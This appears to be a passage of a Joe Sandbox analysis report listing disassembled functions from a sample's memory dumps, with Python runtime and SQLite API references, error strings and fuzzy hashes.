Function 00007FF8E7142CB0 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142D16
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142D42
PyNumber_Remainder.PYTHON312 ref: 00007FF8E7142D5F
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142D76
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142D8A
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142DE4

Part of subcall function 00007FF8E7143590: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF8E71428DB), ref: 00007FF8E7143599
Part of subcall function 00007FF8E7143590: fprintf.MSPDB140-MSVCRT ref: 00007FF8E71435A9
Part of subcall function 00007FF8E7143590: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF8E71428DB), ref: 00007FF8E71435B3
Part of subcall function 00007FF8E7143590: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00007FF8E71428DB), ref: 00007FF8E71435BC
Part of subcall function 00007FF8E7143590: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8E71428DB), ref: 00007FF8E71435C2

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t__acrt_iob_func$Number_Remainderabortfflushfprintf
String ID:
API String ID: 1333916573-0
Opcode ID: 1ff0950ba76d1fb5de8f3a40737609fc14ed6e45cecf514f6e3c309322584276
Instruction ID: 41acc68e2fb321784fd7348f633be80adf62ae4344178a7817ae9bcb2cb4d194
Opcode Fuzzy Hash: 1ff0950ba76d1fb5de8f3a40737609fc14ed6e45cecf514f6e3c309322584276
Instruction Fuzzy Hash: 67417132A08742C2EE694B55E95437C62A1AF49BE4F485130DE7E477D9EF2CE4928703

Function 00007FF8E7142B70 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142BCC
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142BF8
PyNumber_Multiply.PYTHON312 ref: 00007FF8E7142C10
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142C30
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142C44
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142C86

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$MultiplyNumber_
String ID:
API String ID: 3214704217-0
Opcode ID: e441c8e1654ce7b2f422eefc1750921705619e20d6a3389d9b7057bf79d9000f
Instruction ID: 21e1b544f7e7a9f277ba2beebf806ceb9e847d905cf6494d2464862c918d2bf2
Opcode Fuzzy Hash: e441c8e1654ce7b2f422eefc1750921705619e20d6a3389d9b7057bf79d9000f
Instruction Fuzzy Hash: 45317E32A18B42C2EA284F95E55437C6290AF49BE5F084130DB3E477D4FE2CE5C18303

Function 00007FF8E7142920 Relevance: 9.1, APIs: 6, Instructions: 91COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E714299F
PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
_Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
_Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142A2D

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_
String ID:
API String ID: 4245833954-0
Opcode ID: ae72d080b4b55a948d5582023073e92d7aff9d277a6dfd1cb9816ae3c140e2c2
Instruction ID: af670f03180b879e89aa57715880fe079550cfdfe3bcb81322264d7632d36d20
Opcode Fuzzy Hash: ae72d080b4b55a948d5582023073e92d7aff9d277a6dfd1cb9816ae3c140e2c2
Instruction Fuzzy Hash: D4318332A09B53C6EA688B95D95437C6291AF44BE4F585230DE7E477D9FF2CE4818303

Function 00007FF8E7142A50 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142A85
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142ABF
PyNumber_Subtract.PYTHON312 ref: 00007FF8E7142AD7
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142AF7
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142B0B
_Py_Dealloc.PYTHON312 ref: 00007FF8E7142B4D

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Number_Subtract
String ID:
API String ID: 2424657569-0
Opcode ID: aeebb34f4fc22b334b36647e21926670cdad37f7e6ebb6e2507bbb1c10b61d03
Instruction ID: 0f70b691a5ca1b80ee0bc785ff0763cf32d11356536058a609b86435f8a0724a
Opcode Fuzzy Hash: aeebb34f4fc22b334b36647e21926670cdad37f7e6ebb6e2507bbb1c10b61d03
Instruction Fuzzy Hash: 2C316932A09B42C5EA288F95E55437D62A1EF48BE4F585030DF6E47B99EE2CE5818703

Function 00007FF8E7143080 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON312 ref: 00007FF8E71430FF
PyErr_SetString.PYTHON312 ref: 00007FF8E71431E4
PyErr_SetString.PYTHON312 ref: 00007FF8E7143207

Strings

Python int too large to convert to C ssize_t, xrefs: 00007FF8E71431FD
string index out of range, xrefs: 00007FF8E71431DA

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String$Unicode_
String ID: Python int too large to convert to C ssize_t$string index out of range
API String ID: 2250126396-644864186
Opcode ID: e36458edd2254e28eaa8631afe286072e5f7bd0a67a5b6a46e6ef0c44dcb495f
Instruction ID: 4e0c8bf973e17fb5edb006a001817ba0279fda9d343c8593a011556a7f5b9408
Opcode Fuzzy Hash: e36458edd2254e28eaa8631afe286072e5f7bd0a67a5b6a46e6ef0c44dcb495f
Instruction Fuzzy Hash: D641A066B09641C2EF288F5AC4A13BD27A1FBD8F98F880135CB5E43791EE2DD546C702

Function 00007FF8E7152EFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7152F04
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152FDA
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152FF1
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153007

Strings

<module>, xrefs: 00007FF8E7153018

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 4b12f555bacad9522f59093536ead85a57240267a6d3aa3ff40fce1b0501a7e8
Instruction ID: d3919f12863cd0c06c9f245ddbf9f2d47e53b1b7c6f71830b27aa6122589b3fa
Opcode Fuzzy Hash: 4b12f555bacad9522f59093536ead85a57240267a6d3aa3ff40fce1b0501a7e8
Instruction Fuzzy Hash: F231CD39E0CB8781EA189F81F85037C33A5BB48BD5F44053AD96E4B760DF3CA1598302

Function 00007FF8E715326D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7153273
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7153331
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7153348
_Py_Dealloc.PYTHON312 ref: 00007FF8E715335E

Strings

<module>, xrefs: 00007FF8E715336F

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 1860a7d5ba5a0637c41751a3ce46a500ea5aac3d17db15aaa5db88cbc2a32e66
Instruction ID: 530b15350fedcd2172eb6c9b040bd19c27431c52a5d04ab13fdc66ac8d235127
Opcode Fuzzy Hash: 1860a7d5ba5a0637c41751a3ce46a500ea5aac3d17db15aaa5db88cbc2a32e66
Instruction Fuzzy Hash: 1931BB79E1CB8785EA498F85F8403AC33A5BB08BD4F444536D86E5B760EF3CE1698742

Function 00007FF8E7152701 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7152707
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71527AD
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71527C4
_Py_Dealloc.PYTHON312 ref: 00007FF8E71527DA

Strings

<module>, xrefs: 00007FF8E71527EB

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 3f2332356931184e6501015defa88c1d245f7b25bfe9b71bbf2c72ea6a00fa8a
Instruction ID: 7c075592470a8fe9c08fefb30f3ba66405b4b71bdfc411d1bb0ce669e608d2df
Opcode Fuzzy Hash: 3f2332356931184e6501015defa88c1d245f7b25bfe9b71bbf2c72ea6a00fa8a
Instruction Fuzzy Hash: DD319BB5E0CB8785FA188F91E8513A837A5BF18BD1F440536D96E4B760EF3CA158C782

Function 00007FF8E7152D67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7152D6D
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152DFB
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152E12
_Py_Dealloc.PYTHON312 ref: 00007FF8E7152E28

Strings

<module>, xrefs: 00007FF8E7152E39

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 75194c0cbc9a507f0b92e1b34c94570ff1e2da8f97792c352aaccb42d87fe693
Instruction ID: 4f08edc5f3f119aacdcfc815fffe26acc81f2fb0d25f3449467af87b785fbb1e
Opcode Fuzzy Hash: 75194c0cbc9a507f0b92e1b34c94570ff1e2da8f97792c352aaccb42d87fe693
Instruction Fuzzy Hash: DA21CDA9E0DB9785FA499FC1F8503B823A5BF05BD1F844635C82E5B260EF3CA1598342

Function 00007FF8E7153434 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E715343A
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71534C1
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71534D8
_Py_Dealloc.PYTHON312 ref: 00007FF8E71534EE

Strings

<module>, xrefs: 00007FF8E71534FF

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: ee343125aa57c54faf244a34e48bc46db9da3b9588f8e1c1ef8b5bbee5cf8946
Instruction ID: e8162334ba87c393e0313e8439e9bfd8d4afa49c1635c15131bd3375de775264
Opcode Fuzzy Hash: ee343125aa57c54faf244a34e48bc46db9da3b9588f8e1c1ef8b5bbee5cf8946
Instruction Fuzzy Hash: 2B21AE75E0DB8381FA0A9F84F8443BC22A6AF05BD1F484635C82D1B760EF3CA1698352

Function 00007FF8E7152A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E7152A46
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152ACD
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152AE4
_Py_Dealloc.PYTHON312 ref: 00007FF8E7152AFA

Strings

<module>, xrefs: 00007FF8E7152B0B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: e4eff726a2b882ab3716e79be69498aa5b1f0e510f484dcc5ac300c35e7575a4
Instruction ID: 9305595211646345cfdad7ace9c6bed10e2fc720fd05263f71a66025a816a05c
Opcode Fuzzy Hash: e4eff726a2b882ab3716e79be69498aa5b1f0e510f484dcc5ac300c35e7575a4
Instruction Fuzzy Hash: 2B21AEA5E0DB9781FA099F91F8513BC32A5BF08BD1F454535C82D1B660EF3CA659C382

Function 00007FF8E71528B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E71528B6
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E715293D
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152954
_Py_Dealloc.PYTHON312 ref: 00007FF8E715296A

Strings

<module>, xrefs: 00007FF8E715297B

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: a16e5229b7237972c2ee806c9dd78c651fb2e9dfacde5010816b5e6c7d31e686
Instruction ID: 9cfe270bf9549bbbdd36a186b38a9244427921aeb49a744aba97b98dee843f8c
Opcode Fuzzy Hash: a16e5229b7237972c2ee806c9dd78c651fb2e9dfacde5010816b5e6c7d31e686
Instruction Fuzzy Hash: 3821ABA5E0DB9785FA488F91F8413BC22A5AB05BD1F480635D86D4A360EF3CA558C352

Function 00007FF8E71530DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E71530E3
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E715316A
PyObject_SetAttr.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7153181
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153197

Strings

<module>, xrefs: 00007FF8E71531A8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: ecdd50443da1972dac5f7d239e36a52e9dfd88a895bebb8cd24304ee5dc28952
Instruction ID: dbd64fb3edeb16bac011e5a21711cf98fe498edb2819ea409594608b9ba893cf
Opcode Fuzzy Hash: ecdd50443da1972dac5f7d239e36a52e9dfd88a895bebb8cd24304ee5dc28952
Instruction Fuzzy Hash: 6D21CC75E0CB8781FA088F90F8843BC23A6AF08BD1F484435C92D1B260EF3DA1588382

Function 00007FF8E7152E6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E7152E8C
_Py_Dealloc.PYTHON312 ref: 00007FF8E7152EAA
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152EC4

Strings

>, xrefs: 00007FF8E7152ED8
<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>$>
API String ID: 4228545439-4024159097
Opcode ID: 4e122b1be13b90b9fde975fa5c7cafe2c707fcb1664262955b8b1ef10f53763c
Instruction ID: efe95e375999378b2b5e995c773bd650be34a7f0c35fc2d84e1e940e51af8ddd
Opcode Fuzzy Hash: 4e122b1be13b90b9fde975fa5c7cafe2c707fcb1664262955b8b1ef10f53763c
Instruction Fuzzy Hash: C80116A6E09B8381FB1D5BD4E84137D22A2AF40BD1F444035CA2E1B3A0DF3DA4859313

Function 00007FF8E68EC47A Relevance: 8.0, APIs: 1, Strings: 4, Instructions: 491COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68EC8D4

Strings

2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68F0DC3, 00007FF8E68F1120
string or blob too big, xrefs: 00007FF8E68F0FB5
statement aborts at %d: [%s] %s, xrefs: 00007FF8E68F138F
out of memory, xrefs: 00007FF8E68F12EB

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: 2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$out of memory$statement aborts at %d: [%s] %s$string or blob too big
API String ID: 3510742995-3617401034
Opcode ID: 1c93ec38d3358962f044fd8c9bc7468739eb095e07bda336951e211f631fe774
Instruction ID: e3adb46f5f6bf6d40ab8fb43e50fc0616b2cc1d6bfe06f79c594a16fb1e8e616
Opcode Fuzzy Hash: 1c93ec38d3358962f044fd8c9bc7468739eb095e07bda336951e211f631fe774
Instruction Fuzzy Hash: 85326772F286668AE7109FA5984437D77A1FB45BC8F104132EA5D97B98DF3CE841CB02

Function 00007FF8E694C140 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E694C1DF

Strings

vtable constructor failed: %s, xrefs: 00007FF8E694C32B
vtable constructor did not declare schema: %s, xrefs: 00007FF8E694C45A
hidden, xrefs: 00007FF8E694C59D
vtable constructor called recursively: %s, xrefs: 00007FF8E694C2E6

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
API String ID: 3510742995-1299490920
Opcode ID: ebcd032ed702c523410fed20a5182b5d1ca5bd3a286d7c744cd26ba470fb2b13
Instruction ID: 4289cacdf3454c7da849fbd4445c03db509f6f2ec06c7dd4b0e31c9f410105bc
Opcode Fuzzy Hash: ebcd032ed702c523410fed20a5182b5d1ca5bd3a286d7c744cd26ba470fb2b13
Instruction Fuzzy Hash: 9CF1DD72A28B86C5EB509B96948837A77A0FF45BD4F484232DE4E47795DF3CE491C302

Function 00007FF8E68DB220 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 354COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68DB37E
memcpy.VCRUNTIME140 ref: 00007FF8E68DB4A7

Strings

database corruption, xrefs: 00007FF8E68DB324, 00007FF8E68DB451
%s at line %d of [%.10s], xrefs: 00007FF8E68DB330, 00007FF8E68DB45D
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68DB317, 00007FF8E68DB444

Memory Dump Source

